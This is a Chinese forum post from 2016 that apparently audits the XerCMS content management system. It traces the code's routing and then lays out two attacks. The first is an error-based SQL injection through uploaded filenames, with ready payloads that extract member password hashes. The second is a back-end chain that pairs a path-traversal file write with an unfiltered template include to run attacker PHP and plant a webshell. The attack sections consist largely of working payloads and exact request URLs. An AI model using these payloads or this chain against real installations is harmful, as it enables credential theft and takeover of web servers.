本帖最后由 ByHuaiNian 于 2016-12-6 22:07 编辑
0x00.序言
前台insert类型注入,是因为上传文件时对文件名没有有效过滤就进行insert操作而造成的。后台getshell虽然有些鸡助,但是感觉这个思路还是有些意思的,就跟大家分享一下QAQ~
0x01.路由分析
我们还是先来分析一下cms的路由,
Assets文件夹主要是放着一些flash,js,css,文本编辑器等。install放着安装cms的功能文件。template是模板文件夹。upfiles是上传文件夹。xercms则是整个cms的核心文件夹。xercms文件夹中modules文件夹主要存放前台文件,services主要存放后台文件
根目录下index.php 为入口文件,我们来看下入口文件,
[PHP] 纯文本查看 复制代码 ini_set( 'display_errors', 'Off' );
error_reporting(0);
define( 'XERCMS_DEBUG', true );
require ('XerCMS/Kernel.php' );
X:: $G[ 'urlpath' ] = substr($_SERVER['SCRIPT_NAME' ],0,-9);
X::Init ();
X::load ();
可以看到首先包含了xercms文件夹下的kernel.php文件。然后调用该类的2个重要的静态方法,init()和load()
init()方法主要是初始化了一些配置,我们主要看的是load()方法,它是控制cms路由的核心
[PHP] 纯文本查看 复制代码 public static function load($tpl = '') {
$G = &X:: $G ;
X:: $G ['enter' ] = g( 'e');
X:: $G ['enter' ] = empty(X:: $G ['enter' ]) ? 'index' : X::$G ['enter' ];
self ::check(X:: $G ['enter' ]);
if (isset ($_GET[ 'm'])) {
X:: $G ['module' ] = g( 'm');
self ::check(X:: $G ['module' ]);
if (!X::$G ['CYK' ] && !in_array(X::$G ['module' ], self:: $CONFIG[ 'modules' ])) {
showtips( 'module_noexists' ,X::$G ['urlpath' ]);
}
define( 'DIR' ,INC.'Modules/' .X:: $G[ 'module' ].'/' );
X:: $G ['action' ] = (string)g( 'a', 'XerCMS');
self ::check(X:: $G ['a' ]);
hooks(1,1);
include (DIR.X:: $G[ 'enter']. '.php' );
$XM = 'XerCMS_MODULE_' .X::$G ['enter' ];
if (class_exists($XM, false)) {
$Xer = new $XM();//print_r($Xer);exit;
hooks(2,1);
if (method_exists($Xer,X:: $G[ 'action']))
$Xer->$G[ 'action']();
}
hooks(5,1);
} else if (isset ($_GET[ 's'])) {
X:: $G ['service' ] = (string)g( 's');
self ::check(X:: $G ['service' ]);
X:: $G ['action' ] = (string)g( 'a', 'xercms');
self ::check(X:: $G ['a' ]); //print_r(X::$G);exit;
define( 'DIR' ,INC.'Services/' .X:: $G[ 'service' ].'/' );
X:: $G ['module' ] = &X:: $G[ 'service' ];
hooks(1,3);
self ::import(X:: $G ['enter' ].'.php' ,DIR);
$SN = 'Service_' .X::$G ['service' ].'_' .X:: $G[ 'enter' ];
if (class_exists($SN, false)) {
$Xer = new $SN();//print_r($Xer);exit;
hooks(2,3);
if (method_exists($Xer,X:: $G[ 'action']))
$Xer->$G[ 'action']();
}
hooks(5,3);
} else {
X:: $G ['module' ] = 'home';
X:: $G ['enter' ] = '';
hooks(1,5);
include (tpl('common/xercms.htm' ));
hooks(5,5);
}
exit ;
}
}
为了方便大家看我简化了一下代码,去掉了一些不常用的判断。我们来根据url分析一下这个方法
http://localhost/zend/xercms/?m=archives&a=column&column=2
根据代码可以看出这里面有3个重要的变量 m,s,a,e。
m,s代表模块名,a代表调用的方法(默认为xercms),e代表调用的文件名(默认为index)。
根据流程首先会先接受e的值(文件名),再判断m和s是否存在。如果都不存在则默认调用首页的模板文件。如果存在m则代表调用的是前台的某个模块,s存在则代表调用后台。注意这4个变量的值都会调用check方法进行判断,只能为字母和数组还有下划线,否则页面跳转并exit程序结束。
前台和后台的处理流程大致相同,只不过是路径有所差距。我们这里就拿前台的流程来说,先接收m的值(也就是模块名),文件夹路径则为/modules/模块名/,接收a的值(也就是方法名),根据e的值和先前的路径生成包含文件的路径和文件名并包含,确定该文件中类名,前台类名都为XerCMS_MODULE_文件名,然后判断类是否存在,声明该类的对象,判断该类中方法是否存在,存在则调用。
我们可以清楚的看到通过这4个变量就控制了整个cms的路由。根据改变4个变量的值就可以调用固定目录下的某个文件的方法,前台的固定目录为modules下,modules下有4个以模块名命名的文件夹,后台固定目录为services,也有4个以模块名命名的文件夹。
0x02.前台insert注入
这个注入发生点有2处,都是上传图片时insert文件名而没有对文件名进行有效过滤造成的注入。
这两处注入都需要先注册个账号并登陆,
第一处注入在会员中心->个人资料->上传头像处,url为http://localhost/zend/xercms/index.php?m=member&a=profile,上传并抓包
调用的是xercms/modules/member/index.php 中的upfiles方法,其中通过c('upload')->files(); 完成了上传文件的操作。我们进跟进一下,调用是xercms/library/XerCMS_upload.php文件中的files方法,files方法又调用了file方法
[PHP] 纯文本查看 复制代码 function file($name) {
if (isset ($_FILES[$name][ 'tmp_name']) && !empty ($_FILES[$name]['tmp_name' ])) {
$ext = $this->ext($_FILES[$name][ 'name' ]);
if (in_array(strtolower($ext),$this-> forbid) || preg_match('/([^a-z0-9])/i' ,$ext,$match)) {
$this-> result [$name]['error' ] = 'Ext'; return;
}
if (!empty ($this-> config[ 'maxsize']) && $_FILES[$name]['size' ] > $this->config ['maxsize' ]) {
$this-> result [$name]['error' ] = 'Size'; return;
}
$rid = $this->record($_FILES[$name]);
$this->dir($this-> config ['path' ],$rid,$ext);
if (is_uploaded_file($_FILES[$name]['tmp_name' ])) {
if (move_uploaded_file($_FILES[$name]['tmp_name' ],$this->name($rid)) == false ) {
$this->delrid($rid);
$this-> result [$name]['error' ] = 'Move'; return;
} else {
//chmod($this->name($rid),0644);
}
....//
对文件的上传操作我们就不详细说了。关键看第10行代码,$rid = $this->record($_FILES[$name]); 调用了record方法,并将$_FILES数组传了进去。继续跟踪一下
[PHP] 纯文本查看 复制代码 function record($upfile) {
if (X::$G ['uid' ]) {
DB::add( 'xercms_member_count', array ('upload' =>$upfile[ 'size']), array ('uid' =>X:: $G[ 'uid' ]));
}
DB:: insert( 'xercms_member_upfiles',
array ('uid' =>X:: $G[ 'uid' ],
'size' =>$upfile['size' ],
'name' =>$upfile['name' ],
'time' =>X:: $G[ 'time'],
'ip' =>X:: $G[ 'ip'],
'type' =>$this->cid ));
return DB::lastid();
}
可以看到调用了insert方法,这里对$upfile['name' ] 文件名并没有进行任何过滤,该方法会返回insert成功后的id值,注意$_FILES[$name]['name']并不是最终上传后的文件名,而这个id值则是最终上传的文件名。
我们跟进insert方法来看一下,在xercms/library/XerCMS_db.php文件中。
[PHP] 纯文本查看 复制代码 static function insert($table,$fields) {
if (empty ($fields)) {
return ;
}
foreach ($fields as $k=>$v) {
$content[] = '`' .DB::filter($k, 'f' ).'` = \''.DB:: filter($v).'\'' ;
}
self ::query( 'INSERT INTO ' .$table.' SET '.implode( ',',$content), self ::$connect );
return self ::lastid();
}
第6行代码可以看到在insert方法中进行了过滤。然后调用了query方法。跟进filter方法来看一下过滤规则
[PHP] 纯文本查看 复制代码 static function filter($str,$t = '') {
$str = (string)$str;
switch ($t) {
case 'f':
return preg_replace('/([^a-z0-9_])/i' ,'' ,$str);
break ;
default :
return trim($str,'\\' );
break ;
}
}
可以看到针对key 将不是字母和数字还有下划线的其他字符替换成了'',而对value只是过滤了\,所以是可以造成注入的,接下来跟进query方法
[PHP] 纯文本查看 复制代码 static function query($sql,$check = true ) {
self:: $connect || DB::connect();
$res = mysql_query($sql, self:: $connect) ;
if(!$res) {
self ::$error = mysql_error() ;
file_put_contents(INC.'Logs/Database/' .date( 'Y-m-d',time()). '.php' ,'<?php exit(\'Access Denied\'); ?>'. "\r\n". self ::$error ."\r\n" .$sql. "\r\n\r\n",FILE_APPEND);
if (!self :: $debug) {
self ::error( mysql_errno(), self:: $error);
}
}
return $res;
}
可以看到如果发生错误,则会调用第8行代码的error方法,而error方法中又输出出了异常信息,所以我们可以用显错注入来获取数据。
那么payload为:
[HTML] 纯文本查看 复制代码 tnt' or updatexml(1,concat(0x7e,(version())),0) or '.jpg
最终payload:
[HTML] 纯文本查看 复制代码 tnt' or updatexml(1,concat(0x7e,(select substr(concat(pass),1,31) from xercms_member limit 0,1)),0) or '.jpg
注意这里需要用substr来截取字符
第二处注入发生在论坛服务->发帖或者回复时,调用了ueditor插件,但是都对源代码进行了补充,在上传图片后都对原先的图片名进行了insert操作,对文件名没有进行有效的过滤,然后调用的是同一个insert方法。他们的原理是一样的,这里就不继续说了。
0x03.后台getshell
首先我们来看xercms/services/admin/forms.php文件的updateTemplate方法,url访问为:http://localhost/zend/xercms/?s=admin&e=forms&a=updateTemplate
[PHP] 纯文本查看 复制代码 function updateTemplate() {
$sname = g( 'sname' );$data = stripslashes(p('content' ));
file_put_contents(INC.'Data/forms/template/' .$sname. '.htm',$data);
$this->tips( 'finish' ,dreferer());
}
先接收get参数sname,然后接收post参数content,而content只是调用stripslashes()方法去掉了反斜线。
然后调用file_put_contents来写入文件,$sname和$data都是可控的。但是文件后缀却是.htm的。这样我们就不能直接写入php文件了。
我们先写入htm文件。
url为:http://localhost/zend/xercms/?s=admin&e=forms&a=updateTemplate&sname=../../../../1
post参数为:content=<?php phpinfo()?>
这样就在根目录下写入了1.htm文件
这时候我们要找找有没有地方可以利用我们写入的htm文件。
来看xercms/services/admin/member.php文件的editmember方法
[PHP] 纯文本查看 复制代码 function editmember() {
$id = int1(g( 'id'));
$model = g( 'model' ,'personal' );
$member = memberdata($id);
$member = array_merge($member,i('m.member' )->getProperty($id,$model));
include_once ($this->tpl('header.htm' ));
include_once ($this->tpl('../../../Data/member/model/template/' .$model. '.htm'));
}
可以看到这里接收的get参数model没有进行过滤,而且包含文件的后缀正好是.htm,我们就可以控制$model的值来调整路径和文件名。这时候将文件路径传入tpl方法中,我们跟踪一下。
在xercms/library/XerCMS_admin.php中的tpl方法
[PHP] 纯文本查看 复制代码 function tpl($path)
{
$CacheName = md5($path);
if (file_exists(INC.'Caches/template/' .$CacheName. '.php') && 1 == 2) {
return INC.'Caches/template/' .$CacheName. '.php';
} else {
if (X::$compiler == NULL) {
X:: import( 'compiler');
X:: $compiler = new compiler();
}
X::$compiler ->Set('XerCMS/Services/' .$this-> Path. '/template/',$path);
X:: $compiler ->parse();
$tpl = X:: $compiler ->file();
return $tpl;
}
}
先将$path md5加密并赋值给$CacheName 。然后判断xercms/caches/template/下有没有$CacheName这个文件,有就直接返回文件路径,没有就进行下面的操作,
我们主要来看11行代码的set方法。
在xercms/library/XerCMS_compiler.php中。
[PHP] 纯文本查看 复制代码 public function Set($dir,$file,$cacheId = '') {
$this-> cacheId = empty($cacheId) ? md5($dir.$file) : $cacheId;
$this-> tplDir = $dir;
$this-> currDir = dirname($dir.$file).'/' ;
$this-> html = $this->tpl($file);
}
public function tpl($file) {
if ($file == NULL)
return '';
if (strpos($file,'/' ) !== false) {
$file = $this-> tplDir .$file;
} else $file = $this->currDir .$file;
$file = XERCMS.$file;
if (is_file($file)) {
return file_get_contents($file);
} else throw new TpError($file.' is not exist!' );
}
在set方法中调用了tpl方法,可以看到将文件的内容用file_get_contents读了出来并赋值给了$this->html。
然后再看XerCMS_admin.php中tpl方法的第13行,$tpl = X:: $compiler ->file(); 调用了file方法在xercms/caches/template/生成了文件名为md5加密后的php文件,并将$this->html的值写入了进去。最后返回该文件的路径。
最后在editmember方法中在将该文件包含,可以看到包含的并不是我们写入的.htm文件,而是会在xercms/caches/template/下生成一个php文件,根据我们传入的文件路径找到我们的htm文件,将内容读出并写入到生成的php文件中,最后返回生成的php文件的路径,再将其包含。
最后我们来看下这个文件的内容。xercms/caches/template/6142a0d2f3b02d780b49bae380e1109d.php
这里有个关键的地方就是先判断常量XERCMS是否存在,这里加了!号,所以false为满足条件,true不满足条件,而这个常量是存在的为true,不满足条件,&&后面的exit就不会执行了。然后会执行后面的phpinfo(),如果满足条件则会继续执行&&后面的exit,这样就不能执行我们写入的php代码了。
url:http://localhost/zend/xercms/?s=admin&a=editmember&e=member&id=1&model=../../../../../1
因为要过后台的登录验证,有exit。不能直接拿菜刀连,我们可以在根目录下写入一个php文件就可以直接连了。
这样执行这些代码就能再根目录下写入一个2.php的文件,INC为cms自己定义的路径常量。
|